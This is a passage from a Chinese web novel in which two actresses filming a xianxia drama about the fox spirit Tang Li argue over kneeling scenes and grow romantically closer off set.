磕头的唐离身子一抖，她未料到云长洛会清楚这些事。 云长洛俯视跪着的女人，冷声道：“抬头。” 女人抬起头，五官明艳，琥珀色的眼睛缀满铅灰的绝望。云长洛望着这张脸抿唇道：“等你伤好后，立即离开栖云山。” 陈非晚大惊，神尊大人往日杀伐果断，如今竟然心慈手软，居然留这孽畜一命？现在已无法得知施律者是谁，这畜牲留着也没用，合该被一刀毙命才好！ “栖云山内需持有山牌才可四处活动，你先拿着这个，待你痊愈离开栖云山时，我自会收回。”云长洛长袖一挥，一个白色木牌落在唐离手里。 唐离小心捧着山牌磕头谢恩：“谢神尊大人。” 她抬头时，云长洛已消失在栖云殿。 众人的斥责和怒骂她丝毫不在意，独独在意云长洛对她的手软，以及…… 云长洛喊出的[唐离］二字。 一只终究被炼化的宠物，怎会有名字？】 【夜。 归云寝殿外。 唐离跪趴在地上，木门响的时候，她迅速抬头。 与云长洛沉静冷漠的双眼对上的那一刹那，她慌忙垂下头低声唤神尊大人四字。 “你已经在我这里跪了六晚，到底想做什么？”云长洛问。 唐离忙磕一个头道：“感念神尊留我一命，但我中过天火律，体弱力薄，出山也不会寻到什么好去处，我想……我想留在栖云山。” 仙力尽失，身弱体虚，离开栖云山只有死路一条，唐离知道自己的命数。一个被豢养又被抛弃的畜牲，能有什么好结局？ 云长洛挑眉：“你觉得我会留你？你拿什么赌？又凭什么？” 唐离忙说：“那时我陷害您后被金瓷碎片划伤了腿，行动不便，只能躲在花丛里。您发现了我，却没有告发我，我便知您性情……” 云长洛甩袖掩面而笑，眼神锐利：“所以这就是你在被炼化后，拼死也要来栖云山的原因？” 唐离：“是。” 云长洛忽然蹲下身子，修长的葱指捏紧唐离的下巴，她半敛着眸子笑道：“果真是年纪小，太天真，不知水深水浅。” 她又迅速松开，起身说：“唐离，莫要与我讲这些事情。天界有人想害我，而你不过是一只被施了天火律终究会死的仙兽，做事只听主人安排，我即便供出你，你也未必能托出是谁要害我，况且你现在已经忘记你主人是谁。” “被关天牢后我受了些刑，你偷偷幻化仙娥给我送药让我少受许多罪，我这次救你，就当你我两不相欠。你痊愈后必须离开，我不想留你。” 唐离讶异，云长洛竟然知道这些事…… 她不知道云长洛到底还知晓多少事，但她现在明白了，她在云长洛面前什么都掩饰不了。 云长洛转身欲要步入殿内，唐离跪爬着拉住她的衣衫凄厉地喊着：“神尊大人，求你留我，我想留在栖云山！” “唐离，你受你主人的指使害我，还要背叛主人化成仙娥救我。你都不忠诚你的主人，我怎会相信你忠诚于栖云山，又怎会相信你忠诚于我？”云长洛冷声道，她甩了下袖子，人化为烟雾不见，寝殿的门砰的一声阖上。 唐离爬过去，脸贴在冰冷的门上叹息。 玄宝殿里，她被云长洛发现却没被告发后，过往经受的训导受到了冲击。 她主人教会她的，和云长洛带给她的，完全不一样。 她实在愧疚，于是当她知道云长洛被关在哪里后，立刻偷偷装了许多药伪装成仙娥去看望她。她怕云长洛喝不下苦药，专门偷了糖块藏在尾巴里一起送过来。 接连数日，她都避开主人的监视送药和糖块过来。云长洛的伤快要痊愈时，问她叫什么名字。 可是她没有名字。 她捏着缓解药苦的糖块沉默许久，才吐出一个字：“狸……” 云长洛盯着她手里的糖块，笑问：“是叫唐离？” 云长洛往她手心里写字，唐、离，唐离。 唐离？自己叫唐离吗？ 她第一次有了名字，忙不迭点头：“唐离。” 不一样，云长洛不一样，云长洛与打她伤她还要她感恩的主人不一样，云长洛也和那些冷漠的天界人不一样。 唐离咬着牙退后磕头，“神尊大人，害你，是我没有选择；救你，是我心有愧疚；对旧主心不纯，是因我被暴戾的旧主伤太狠，才没有像其他人忠诚于她。但神尊大人，你救我两次，我知你与天界的人不一样，你救我，我必以命相报。” 殿内没有任何回应，她不停地磕头，磕到鲜血直流，磕到嘴唇发白。 “神尊大人……求你，求你让我留在栖云山……求你……” 她磕着说着，渐渐地，失去了意识。】 【唐离醒来时，人睡在小屋床上。 她不知道是被谁送回来的，只觉得头痛难忍。手摸向额头，头已经被包扎好了。 刚过来的陈非晚一脚踹开门，把一根竹棍丢在唐离床上。 “孽畜！快快起来去林子里赶鹅！”陈非晚瞪唐离一眼，声音越发大了起来，“你伤好透前，可别想在这栖云山白吃白住，今天开始，你就要承担起喂鹅的责任！” 朝云阁是门徒修道学习的地方，那片全是鹅的白羽林便坐落在朝云阁后方。每当门徒犯错或是学业上有问题，便会被罚到林子里喂鹅。 下课后，门徒呼朋唤友去了朝云阁后门。从后门便可过桥进入白羽林，门徒们围在竹栏外，隔着一条清澈的小溪，对正在喂鹅的女人嘻嘻哈哈指指点点。 女人穿着绿萝纱色的工衣，衣袖挽起，拎着一桶浸泡过的谷粒去食槽那处。刚舀一瓢谷粒，一只大个头的鹅冲了过来。 女人被吓得丢下瓢逃窜起来，引得围观的门徒哈哈大笑。】 “啊！！！”祝星亦被那白鹅追得惊慌逃窜，导演没喊卡，她只能继续演。 她捡起地上的竹棍赶那只大白鹅，“去去！别过来！” 白鹅非但没有害怕，伸着长脖子直接咬上祝星亦的衣服。其他鹅见状也跟着跑了过来，顿时，一群可怕的大鹅把祝星亦围在一起。 祝星亦坐在地上狼狈地和这群鹅做斗争，围栏外的饰演桑雨的宋姿缈大喝一声：“马上要上课了怎么还在这围着！” 说罢，手一挥，又跟身旁的门徒道：“都快些回去，小心溯溪长老扣你们分数！” 门徒散了，齐漫姝瞥了宋姿缈一眼冷哼一声离开。 “卡——”韩珑喊完后，几个工作人员冲到鹅园把鹅赶走。 “快起来。”苏寄欢朝坐在地上的祝星亦伸出手。 心有余悸的祝星亦，轻轻把手搭了上去。 第159章 《长离引》 两三只鹅晃晃悠悠走了过来，祝星亦有些害怕，握紧苏寄欢的手往一旁站。 鹅对她似乎没兴趣，大摇大摆走过去，看都不看她一眼，她这才松口气。 祝星亦转眸，冲苏寄欢感激道：“谢谢你。” 说着，紧紧握着苏寄欢的手，没有一点放开的意思。 苏寄欢抽了下手没抽出来，低头看了某人一眼，某人垂下头依依不舍地松开。 “后面只有几场喂鹅的戏了，不碍事。”苏寄欢宽慰她，“今天会把所有喂鹅戏份都先补拍完，省得次次被鹅叨。” 祝星亦点点头，“多来几次我真受不了。” 正说着，一只体型肥硕的大鹅突然伸长了脖子，悄无声息地靠近祝星亦。它瞅准时机，趁祝星亦背对着它没有防备，猛地一口咬在了她的腿上。 好痛！！ “啊！又咬我！”祝星亦瞬间脸色煞白，惊慌失措地大喊起来，身体不受控制地向前扑去，一下子扑进了苏寄欢的怀里，声音带着哭腔：“它有牙啊！啊！！好痛！救命啊！” 苏寄欢毫不犹豫地将她护在身后，弯腰对着那只大鹅的头捶了一拳。 大鹅吃痛，“嘎嘎”叫着转身跑开。 苏寄欢目光紧紧追随着那只鹅，多看了两眼确认它不会再回来后，才转过头安慰祝星亦：“没事了，已经把它赶跑了。” 真跑了？ 祝星亦小心翼翼转过头，确认鹅真跑了才松口气。 这鹅也忒讨厌了，没惹它它也要咬人？ “这才拍了几场喂鹅的戏啊，也不知道后面还要被咬几次。”祝星亦是敬业不假，但被鹅咬实在太可怕了，这和被鹿顶是一样的恐怖值。 苏寄欢拍了拍她的肩膀，轻声说：“别担心，下面几次都是正常喂鹅，顶多再拍一两次你被鹅追的镜头。” 祝星亦瘪嘴，不大情愿，“我正常喂鹅它们又不会正常，不知道要拍几次才能拍好。” 苏寄欢见状接着说：“下面的喂鹅戏你正常演就行，要是鹅再追你，我就在旁边帮你赶跑它，好不好？” 祝星亦揉了揉鼻子，小声说：“好。” “那你先别抱我腰了，这么多人看着呢。” 苏寄欢说完，祝星亦这才反应过来自己的手还在苏寄欢腰上放着。 “不好意思。”祝星亦揉揉发烫的脸小声说。 苏寄欢道了声没事，韩珑提醒等下要开机了，快些准备，祝星亦嗯了两声。 抬眼看苏寄欢的背影。 怎么感觉……她耳朵是红的？ 下午的戏顺利拍完，晚上用餐的时候，苏寄欢带着几个主演去农家乐点了铁锅炖大鹅。 祝星亦道这是好菜，铁锅炖大鹅，简直解一解下午被鹅追着咬的气愤！ 菜端上来后，祝星亦吃得格外起劲儿。 苏寄欢看着她大快朵颐的样子，轻轻抿嘴笑了笑。 祝星亦好久没吃这么多了，桌上的人知道她被鹅咬了生气，只动了几筷子便不再吃那锅肉。 把锅里的鹅肉全解决完后，祝星亦吃得累了，歪在椅子上心满意足。 从餐厅出来后，周娅几人约着去附近逛街，“苏总，祝总，我们先去玩，你们随意。” “好，再见，你们注意安全。”祝星亦跟几人挥挥手。 附近有个大广场，祝星亦和苏寄欢散了散步，找个木椅坐下。 初夏的汴城是被绿色浸泡过的透明，迎着晚风，苏寄欢侧头看了看身旁的祝星亦问：“今天这顿吃得怎么样，好吃吗？” 祝星亦眼睛亮闪闪，开心极了：“很好吃，太解气了！” 苏寄欢语调闲散，慵懒道：“其实锅里的那只鹅，就是今天咬你的那只。” 祝星亦愣了一下：“真的吗？” 苏寄欢点点头：“我去找了提供鹅的人，花了400块把它买下来了。” 祝星亦又愣住了，好一会儿才反应过来：“400块？你真给了那么多？” 苏寄欢再次点头。 祝星亦拍了拍额头，她没见过被宰那么狠的人：“那只鹅也就十来斤重，市场上十几块钱一斤，撑死了200块，怎么可能要花400块呢？” 苏寄欢疑惑：“鹅是十几块钱一斤吗？我还真不清楚这些物价。” 沉默了会儿她转移话题，低头看向祝星亦的腿：“你腿上的伤怎么样了，好点了没？” 她弯下腰，轻轻撩起祝星亦的裙子，看到小腿肚上还泛着红，有些心疼地摸了摸：“还很疼吗？” 温热的指腹停在被咬的红痕上，祝星亦浑身一激灵，结结巴巴地说：“有，有点疼……不过已经把鹅吃了，还是很解气的。” 想到苏寄欢花了冤枉钱，她又有些生气：“不行，还是不解气，哪有这么坑人的，明天我得找他去，不能让你白白花这冤枉钱。” 苏寄欢盯着她那副气鼓鼓的模样看了两秒，挑眉笑出声。 祝星亦不大高兴：“你笑什么呀，你被人坑了还笑得这么开心？” “开心也不让？” 祝星亦：“哼，人傻钱多。” 苏寄欢笑着反驳：“谁傻啊？谁傻乎乎的总是被鹿顶，还被大鹅咬？说不定那些大鹅知道你是傻乎乎的狐狸，才追着你咬呢。” 祝星亦听了忙拍椅子：“要是它们再敢咬我，我就把它们都吃了！” 苏寄欢悠悠道：“这倒是个好主意，到时候你可得帮我砍砍价。” “这个你放心，那些奸商可别想骗过我。”祝星亦拍着胸脯跟她保证，视线对上的一瞬间，还是不知所措地避开了。 许久，祝星亦不自在地搓了搓手，站起身来说：“呃，要是没什么事的话，我们就回去吧？” 苏寄欢伸手拉住她，顿了顿，松开手说：“等会儿我们去练习室对一下台词，台词本我已经让允声帮我送过去了。” 去……练习室对台词？ 这么晚了，两个人？ 祝星亦轻声应道：“好。” 求之不得。 【门徒一哄而散，桑雨瞪了眼陈非晚的背影，从栏杆处飞身而过，挥一挥衣袖，那群鹅便退到一旁。 桑雨搀起狼狈的唐离道：“你越是怕它们，它们越咬你，你喂的时候把这个竹棍拿好，被咬伤一口可是很痛的。” 唐离握着棍子点点头：“谢谢你，这位仙子，你叫什么名字？” “我叫桑雨，是逐念长老身旁的仙君，你直接唤我桑雨就好。”桑雨帮忙拍拍唐离身上的灰尘叹道：“陈非晚是衔寒长老身旁的仙君，衔寒长老很是纵容她，把她惯得刻薄无礼。神尊大人明明已经下了命令要你伤好后再离开栖云山，她却给你找麻烦。她以后若是再欺负你，你跟我讲就好了。” 被鹅欺负过的唐离听到这番话，心上涌起一股暖意。 栖云山里的人，比天界的人要善良多了。 她别过头拭了下眼泪，低声道：“谢谢仙君，还麻烦仙君帮我解决这些事。” 桑雨摇摇头叹气，她已经听逐念讲过事情的原委。既然长洛神尊救她，自然有神尊多一番道理。 况且，能在天火律活下来的受律者，被炼化时遭的罪可比普通受律者多上数十倍。真不知道这个唐离是如何挺过来的，命真硬。 念着唐离身体还没完全恢复好，桑雨给她出主意：“你身体不好，你每日傍晚喂一次就好了，早上多休息休息。早上我就让……” “仙君，不必了。”唐离打断她，“我来喂就好，我在这里也没什么事，喂鹅起码有事情可做，也不算白吃白喝。” 桑雨一听就知道是那个陈非晚在唐离面前唧唧歪歪了，这女人就是刻薄得要死！没有一点同理心！ 她抄起瓢速速把鹅的食槽填满，完事拉着唐离去一旁坐下道：“我们有时会罚门徒喂鹅，你都喂了，让别人怎么办？你受了罪，让陈非晚那女人得好名声？你既然觉得自己必须要做事，你过段时间去浮云岛那边看看有没有可以做的事。” 唐离问道：“浮云岛？” 桑雨点点头：“对，我们要在那里举办一年一度觅渡仙大赛，你等几天去那边走一走逛一逛，看看有没有你可以帮忙做的事。这下也不算白吃白住了，对不对？” 觅渡仙大赛是栖云山仙者们的年度考核，仙者和栖云阁的门徒都会参加，拿到名次都会得到嘉奖。 唐离点点头，拱手道谢：“谢仙君提点，在下一定会为大赛出力。”】 【有桑雨在，唐离喂鹅也不再经常被鹅欺负。 喂完鹅她没什么事要做，跨过桥去朝云阁那处走走停停。 门徒们都在朝云阁上课，四位长老会依次给众门徒授课，云长洛也会给他们授习。 唐离每每遇到云长洛都会跪下，哪怕只是远远地看到云长洛，她也会跪下身子。她把头伏得低低的，虔诚地跪拜，等云长洛离开后她才敢直起身子看云长洛的背影。 她不知道如何才能留在栖云山，但现在她能在这里讨一口饭吃，能睡在温暖的小屋，还能拥有一个小院子，她已经很知足了。 门徒们学习的东西很多，唐离偷偷登上朝云阁看那些人在做什么。她试图偷偷学点东西，但那些东西没点基础完全学不会，她没别的主意，只好拿着瓢拐回白羽林喂鹅。 桑雨通知她可以去浮云岛找事做的时候，她打起精神跟着桑雨去浮云岛。 这座岛是一座浮在云间的岛，唐离刷白木牌进岛后，眼花缭乱的大型装置令她移不开眼。 桑雨把她带到一个仙君身旁：“唐离，这位是重凝仙君，她是神尊大人的近身仙君，也是觅渡仙大赛的负责人。” 重凝颔首，打量了几眼这个被长洛神尊免罪的女人，道：“桑雨已经与我讲过你想要在这栖云山帮忙的事，我这里正好有需要你做的，你把这些东西编好就行。” 重凝指给唐离一堆彩色的绳子，她告诉唐离，把这些绳子编成相应的绳结，再挂在树上就好。她给唐离演示怎么编绳结，唐离记性好，一学就会了。 “需要编的绳结很多，你每天来这里编两百个就可以回去休息。”重凝说，“比赛开始前，你把这些绳子全用完，就算是给我们帮了个大忙。” 唐离看着一团团彩绳，心想这下可有事做了。 编绳子实在无聊，一天编两百个也不是小工程。隔壁置办灯笼和货架的人见她坐在草地上编绳子，道她编得太慢。 那人马上示范用仙术编绳结，不一会儿编成一个。 唐离无奈道：“在下没有仙力，只能自己手动编。” 那人马上掐了个诀教给唐离：“你用这个诀来编，比你手动编要快些。” 唐离学会之后拿绳子一试，速度果真快了些。她感激万分，不停道谢。 接连几日，唐离都在用那人的诀编绳结。觅渡大赛开始前两天，唐离依旧坐在草地上编绳结，丝毫没注意到云长洛前来查看大赛筹备情况。 直到云长洛站在她面前低眸看她，她才慌慌张张放下绳结跪在地上。奈何她太过慌乱，那诀不受控制，一团绳子飞过来缠在她身上，她动弹不得又解不开绳子。 好在云长洛出手相救，袖子一挥，那些绳子便团成团被放到一旁。 “谁让你来这里的？”淡漠的目光扫了跪在地上的女人几眼，云长洛出声问。 唐离伏在地上道：“是我自己想来的，我想做些力所能及的事。神尊大人，对不起，是我自作主张来这里的，请您责罚我。” 云长洛沉默许久说：“我不会责罚你，比赛过后你去找重凝领些钱，日后离开栖云山总会需要。” 唐离手指抓着鲜草，头始终没有离开地面，整个人完全和地面接触，与她平时见云长洛那般不敢抬头，不敢对视，不敢直起身子。 “遵命。”唐离道。 云长洛转过身子，却又马上折回来道：“你不必每次见到我都要跪下磕头，栖云山没有这样的规矩，起来*。” 唐离：“遵命。”】 祝星亦起身时差点栽倒，苏寄欢赶忙扶着她。 这时韩珑喊卡。 韩珑匆匆过来问：“云长洛，你怎么改戏啦？[你不必每次见到我都要跪下磕头，栖云山没有这样道规矩，起来。］这个，这个剧本上不是这么写的。” 第160章 《长离引》 苏寄欢搀了下因跪太久有点眩晕的祝星亦，解释：“唐离跪下的戏份太多了，后面除了必要的跪戏，其他跪戏都先删掉。” 韩珑还未说什么，祝星亦抓住苏寄欢的衣袖道：“前期的跪戏是为了体现唐离的卑微和诚心，我们之前探讨的时候不是说过这个问题吗？” 先前两个人就着诸多[跪戏]有过小争执，不过最后苏寄欢妥协了，怎么现在又要…… 祝星亦怕又出什么争执，只好继续说：“唐离和云长洛有着很大的阶级差别，而且她现在因为曾陷害过云长洛，心理愧疚，跪拜这个行为和剧情、人设都没有矛盾。” 几乎是下一秒，苏寄欢反驳：“栖云山的门徒都没有行跪礼，反倒这个唐离次次都要跪拜磕头。若说人设的话，唐离头都磕紫了云长洛到现在还无动于衷，这个人设未免也太招人讨厌了。” 祝星亦疑惑：“这是为了突出后面云长洛关心爱护唐离的反差感啊，这个，这个我们之前改剧本的时候不是解答过了吗？你当时也同意这一版，现在又突然……怎么说呢，这个只是一个小问题，我们没必要在这里起争执，一个礼节而已，况且……” “你已经跪一星期了，祝星亦。”苏寄欢的音量忽然提高。 她……生气了。 祝星亦望着脸色微变的苏寄欢噤声。 苏寄欢蹲下来擅做主张掀起祝星亦的裙子，掀到膝盖处，瞥见两个膝盖青紫万分后迅速站起来：“祝星亦，你不疼？” 祝星亦被苏寄欢忽然掀裙子的举动惊得茫然无措。 苏寄欢的行为太奇怪了，她以前从来不会这样发脾气，到底怎么回事？ 本想与苏寄欢再争执两句，可看到女人一脸愠色，祝星亦把话咽进肚子里，抚平衣裙后小声问：“你到底怎么了？” 周围的工作人员和演员都在一旁看着两人争执，不敢插话。 苏寄欢抿紧唇缓了许久，最终严肃道：“我也不想和你起争执，但如果你执意要继续行跪礼，我拒演。” “拒……拒演是……是什么意思？”这个决定太突然，韩珑一时间没反应过来。 奇怪，不是都说苏寄欢很敬业的吗？怎么就因为一个小问题就拒演啊？ 韩珑第一次和苏寄欢合作，不是特别清楚苏寄欢的脾性，等苏寄欢快步离开后，拉着祝星亦问：“唐离，你和她熟，你先劝一劝，行不行？” 韩珑怕得不得了，苏寄欢这种咖位的人要是有个什么不是，她是万万不敢顶嘴的，现在能拜托的只有祝星亦。 祝星亦沉吟片刻道：“先拍戏吧，按她说的，没必要的跪戏删掉好了。只要我不跪她就会继续演，我们不要耽误工作进度，其他事今天收工之后再说。” 韩珑没办法，只能听从祝星亦安排。 好在下午的戏份里祝星亦直接删掉了跪戏，苏寄欢也没再提拒演的事。 ： 直到晚上收工，韩珑终于抹了把头上的汗珠。 虽说韩珑有背景有资源，在这个圈子里混得如鱼得水，但要她去得罪苏寄欢这样的艺人，她是万万不敢的。 苏寄欢可不只大满贯影后、[苏盛］董事长这点头衔，她很早就带了编制，前几年还入了华夏文艺联会，说不定再过段时间就能顶个什么什么副主席主席的头衔。 华夏文艺联会主席，那可是中国文艺界最高地位的职位了，那可是正部级啊！和**、省长同级！ 像苏寄欢这样优秀的文艺工作者，能摸到这些职位是迟早的事。这些年苏寄欢对事业很上心，保不齐以后要做什么呢。还是少惹她，一切顺着她比较好。 “唐离，你晚点再跟她聊一聊吧，我有点害怕。”想到苏寄欢说的拒演，韩珑浑身直哆嗦，这都开机多久了，说拒演就拒演的话，怎么跟资方交代？而且也只是跪戏这一个小事情，实在不值得。 虽然这样想着，但韩珑也害怕祝星亦这边出什么问题。 祝星亦对剧本也有自己的看法，韩珑也觉得下午两个人说得都有道理，怕就怕祝星亦和苏寄欢两人对剧本产生极大的分歧。 真要是分歧太大，韩珑真是不知道该帮谁。两个都是不好惹的主儿啊！ 韩珑心里慌，赶紧劝说：“我这边还是希望你们能好好沟通，把该确认的确认下来，后面不要再有太大的分歧。不过说真的，这个跪戏真的只是一个小问题，咱就大事化小小事化了，好不好？” 祝星亦道：“我知道该怎么做，你放心就好。” 晚餐过后，白澜收拾完东西准备带祝星亦回去，包才收拾好，转个身的功夫，祝星亦拿着手机跑了。 白澜心焦地追过去：“星亦，你干什么？” “找苏总，我有话要跟她说。”祝星亦有些着急，之前她们这些主演都会一起用餐，今晚苏寄欢不搭理她，想必是因为下午的争执生气。 白澜了然，忙跟金允声发消息，问苏寄欢在何处。 待找到人后，祝星亦喊住前面的人：“苏总，可以借一步说话吗？” 恰好走到路灯下的人停住脚步。 金允声识趣离开。 祝星亦攥紧指尖小跑到女人身边，轻轻抬头望了望女人的侧脸，惯常的冰冷。 真是奇怪。 到底在生什么气？ 祝星亦低头勾了下苏寄欢的衣袖，声音有点含糊不清：“那个，苏总，我们聊一聊下午的事。” “知道了。”苏寄欢简短地应了声，脚步拐向附近一个公园。 公园很大，进去便是一片栽满荷花的湖，只是晚上看不到漂亮的荷花。祝星亦跟在苏寄欢身后走了两步，想起苏寄欢不让她跟在自己身后，忙走快两步和苏寄欢并肩。 直到现在祝星亦也不明白苏寄欢到底在气什么，她没憋着，直接问下午关于对戏的讨论为什么起那么大的反应。 苏寄欢没答，瞄见亮着灯的湖边小亭子，示意先过去。 祝星亦坐在亭子的木椅上，苏寄欢跟着坐在她身边。 独属于夏天的味道是浓重黏稠的，但身旁的柚子花香冲淡了一切。 祝星亦偏过头又嗅了嗅苏寄欢身上的柚子花香。 烦躁不安的情绪忽然消散。 她没有选择直接开口问，从兜里掏出个东西，握住苏寄欢的手腕塞在苏寄欢掌心。 苏寄欢低头看，是一个淡紫色的如意结，漂亮的流苏坠在下方，猫眼石装饰着，煞是好看。 她愣愣地盯着绳结看。 祝星亦并着双膝说：“唐离会编绳结，我也会编。我以前给你编过好多，你还记得吗？” “记得，你编的东西都很复杂，也很漂亮。”苏寄欢攥紧如意结，“怎么有空编这个？” “我今天下午不忙的时候编的，想着晚上要找你问个明白。” “你还是想要把跪戏改回来？” 祝星亦摇头：“工作中有不同的意见很正常，如果云长洛这个时候就展现出通情达理的一面，那我们就需要再改一下其他剧情，避免前后矛盾。” 苏寄欢知道这个道理，答应会一起改一下后面的细枝末节。 看苏寄欢态度还挺好，祝星亦问：“我就是想知道你怎么忽然生气了，你以前拍戏从没这样过。” 苏寄欢忽然不再说话，小亭子变得安静起来。 每每苏寄欢不说话时祝星亦就很害怕。 她不习惯这样的苏寄欢，尽管两人闹掰后苏寄欢常常这样对她，她还是不习惯。 以往苏寄欢总会跟她说很多话，讲很多事，她这样闷的人虽然表达能力不是特别好，但苏寄欢跟她多聊天，她也会敞开心扉。话越多越幸福，越多，相处得越舒服。 而现在，所以苏寄欢少跟她说一个字，她都焦虑得难受。 她想苏寄欢多跟她说些话，想听苏寄欢的声音，想……想让苏寄欢多多在意她。 祝星亦抓紧衣角开口：“苏总，长嘴是为了说话的，我想弄明白你为什么生气，好让我多了解一下你的情绪。” 湖里有什么东西掉进去了，片刻后，听到两声青蛙叫。 祝星亦被蛙叫吸引了过去，转头瞅了几眼，扭过脸时对上苏寄欢意味不明的目光，她笑了笑：“哈哈，青蛙。” 苏寄欢看她傻笑，竟跟着笑起来。 祝星亦的笑容僵住，马上问：“你怎么又……开心了？你到底怎么了？” 苏寄欢立马收住笑，久久，摩挲着手里的绳结说：“我只是觉得你这些天跪太多了，每次都是咚的一声跪下，还要咚咚磕头。之前探讨剧本的时候就说过不要这么多跪戏，你跟我争执，现在正式演了，你又演那么卖力。” 她盯着祝星亦的膝盖，心头一酸，声音打着颤儿：“你不疼吗？” 祝星亦抬手揉揉膝盖，是挺疼的。只是一个演员连跪地磕头都忍受不了的话，那还做什么演员？ 她摆摆手说没事，“这又不算什么，你以前大冬天还要下河里拍戏，我这算什么？演员不敬业的话，能呈现出什么好作品？” 苏寄欢勾着头不再言语。 祝星亦看她又不说话了，有点慌。 苏寄欢不说话，不接着她的话题继续讲，她也没有什么好说的。 她本就不是很能聊天的人，碰到工作倒是可以多说些，但现在她着实想不出应该怎么让苏寄欢少生气。 祝星亦歪头看苏寄欢的表情，觉得苏寄欢好像也没生气。 张张嘴想要问些什么，一个奇怪的想法涌上心头。 她没再多思索什么，一爪子握住苏寄欢的手。 苏寄欢被这么不礼貌的行为惊了下，浅褐色的眼睛里满是疑问。 祝星亦不太确定心里的答案，但确不确定她都得问一声，便往苏寄欢身边靠了靠，“苏总，你是因为怕我疼，才一直坚持删掉这些跪戏，是吗？” 苏寄欢抿紧唇线，眉头也拧着。 祝星亦紧了紧手，一点也不想松开苏寄欢的手：“你是不是因为心疼我，才生气的？”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 160-170 第161章 《长离引》 祝星亦盼望着苏寄欢能肯定地回答，但她又觉得是自己想多了。毕竟云长洛阻止唐离继续下跪这个行为，确实能[打造一个好人设］。 她被自己的想法打击得有点失落，可下一秒，苏寄欢舒缓了眉头，声音也轻了不少：“对，我心疼你。” 祝星亦愣怔地看着苏寄欢冷峻的侧脸，一时间没反应过来。 心疼？ 苏寄欢真的是心疼她，才生气的？ 脸上似火烧的这一刻，祝星亦心道自己真是有够矛盾的。明明很期盼苏寄欢心疼她，苏寄欢真心疼她了，她竟然觉得羞涩。 祝星亦往下瞥，她的手还在抓着苏寄欢的手，刚刚勇敢的质问，现如今只觉得手脚发烫，收又不舍得收回来，握又不敢大胆握住。 很快，苏寄欢低下头说：“关于跪戏，开机前后你都十分固执，这段时间你频繁下跪磕头，那样卖力演，也太不爱惜自己了。” “于我而言，我知道你跪下磕头只是演戏，但你对我一次次下跪一次次磕头，我实在受不起。而且你这段时间跪得太多，起身时都在忍着痛，这又何必？无效跪戏还留着干什么？” “于剧情而言，身处高位的云长洛知晓唐离这种底层人的命运，她可能从一开始就没怪过唐离。天界神神仙仙的关系错综复杂，一只笨头笨脑的狐狸，即便有一肚子坏水儿，又能决定什么？” 前面的话祝星亦还没消化完，听到苏寄欢说唐离笨，她立马反驳：“唐离哪里笨了？她知道原主人靠不住，转头就给云长洛示好，后面还赌云长洛会救她，这不是挺聪明的吗？” 苏寄欢忽然笑了：“那万一赌错了，不就满盘皆输？” “她是主角，有主角光环。”祝星亦耸耸肩，“主角光环大于一切。” 主角光环一出来，苏寄欢竟然想不到怎么反驳她，“也是啊，她是主角，她怎么赌都会赢。” 凉风拂过荷叶发出细微的沙沙声，祝星亦望着湖面低声喃喃：“我也希望我们是主角。但也许，我们就是主角，我有在好好写这个剧本。” 苏寄欢听不清她在说什么，问了一句没得到答案，便低着头坐着。 偶有虫鸣和蛙叫，祝星亦抬头看月亮，皎洁柔和得像身旁女人的脸庞。她捏了捏女人的手，小心翼翼开口：“苏总，我可以不喊你苏总了吗？我想喊你苏老师，我一直不习惯喊你苏总。” 祝星亦害怕被苏寄欢拒绝，就像手镯被敲碎时的害怕。想到这个她又在心里埋怨苏寄欢的绝情，她再怎么也不能强行拉着她把镯子敲碎。 可是祝星亦又觉得苏寄欢做得没错，她那样反复伤害苏寄欢，苏寄欢怎么惩罚她都合情合理。 祝星亦总是这样矛盾，一方面愧疚，一方面又想责怪苏寄欢，矛盾到最后让她觉得干脆两个人拿刀相互捅对方算了，这样折磨来折磨去谁也得不到好处，她也算是见识到苏寄欢这女人能冷漠无情到什么地步。 真是难追又难哄。 不过苏寄欢再难追再难哄，祝星亦一点放弃的想法都没有。 祝星亦看她还不说话，索性壮着胆子提高音量：“你要是不同意的话，你也拿我没辙。毕竟嘴长我身上，你总不能捂我嘴吧？我喊你苏老师，又不是喊你老婆，我这样有素质你还要拒绝我吗？再说，苏老师和苏总，都是对你的尊称，我很礼貌。你真的要拒绝这么礼貌的称呼吗？你说你都心疼我跪下了，还能那么狠心拒绝我喊你苏老师吗？” 她说着说着，整个人凑到苏寄欢身上去，头一歪，眼睛眨巴眨巴，闪亮亮的眸子像发光的玻璃珠子，清澈剔透。 苏寄欢低头望着这个几乎要缩到自己怀里的女人，身子往一旁错了错，费力地丢开女人的手一字一句道：“你不要总是贴在我身上，很热。” “我不热。”祝星亦反驳，她往苏寄欢身旁坐了坐，身子完全贴了上去，再一次拉住苏寄欢的手不肯松开。 拉着还觉得不够，另一只空闲的手直接缠在苏寄欢腰上。即便被苏寄欢推开，她也会再次缠上去，非要做个难以被处理的藤蔓。 这般费劲贴着，刚要说什么，一抬眼看到苏寄欢额头上的汗珠，还有鬓边流下的汗水。 奇怪，很热吗？ 祝星亦瘪了会儿嘴小声问：“苏老师，你热吗？” 又细又软的声音裹着一阵香风扑过来，苏寄欢拧紧眉头起身，大步流星离开亭子。 祝星亦见人忽然走了，赶忙过去追。 从小亭子下来后有一段路没灯，阶梯又多，祝星亦跑得急，左脚绊右脚摔在地上。 她疼得大喊一声，还没站起来，刚刚迈步离开的人迅速回来蹲下紧张询问：“怎么又摔了，疼不疼？” 祝星亦揉揉吃痛的膝盖，这几天跪太多，膝盖早就疼得不行，这下摔了更是疼得她直咬牙。 “不疼。”祝星亦扒拉一下手上的小石子和灰尘冲苏寄欢笑笑。 此处灯太暗，她看不清苏寄欢的表情，只听到苏寄欢啧了一声。 祝星亦以为苏寄欢觉得她烦，慌忙撑着身子要站起来。 刚站起来，苏寄欢把她拉过去转过身子，不高兴道：“上来。” 祝星亦看着苏寄欢半蹲下的身子，瑟缩地问：“什么？你要我……” 苏寄欢偏头回答：“上来，我背你去车里。” 祝星亦想问为什么要背她，还没问出来，苏寄欢退了半步直接把她背了起来。 忽然被背起来，祝星亦害怕地惊呼两声：“你……” 苏寄欢立刻打断她：“你摔得我这边都有震感了。” 顿了顿，严厉的声音收了许多，“听话，我背你回去。” 听话，我背你回去。 却不是命令，像是珍惜。 祝星亦嗅着苏寄欢身上的味道，妥协地安安静静埋在苏寄欢颈窝。 车在附近停车场，还有一段距离。刚刚还不热，现在趴在苏寄欢身上热得不行。 祝星亦动了下脖子，脸凑在苏寄欢的头发里吸了一口，有点没底气地说：“苏老师，你好香。” 身下的人没说话，沉默地走着。 祝星亦收了收揽住那人脖子的手臂，脖子往前伸了伸，柔软的唇印在那人脸上。 那人立刻停下脚步。 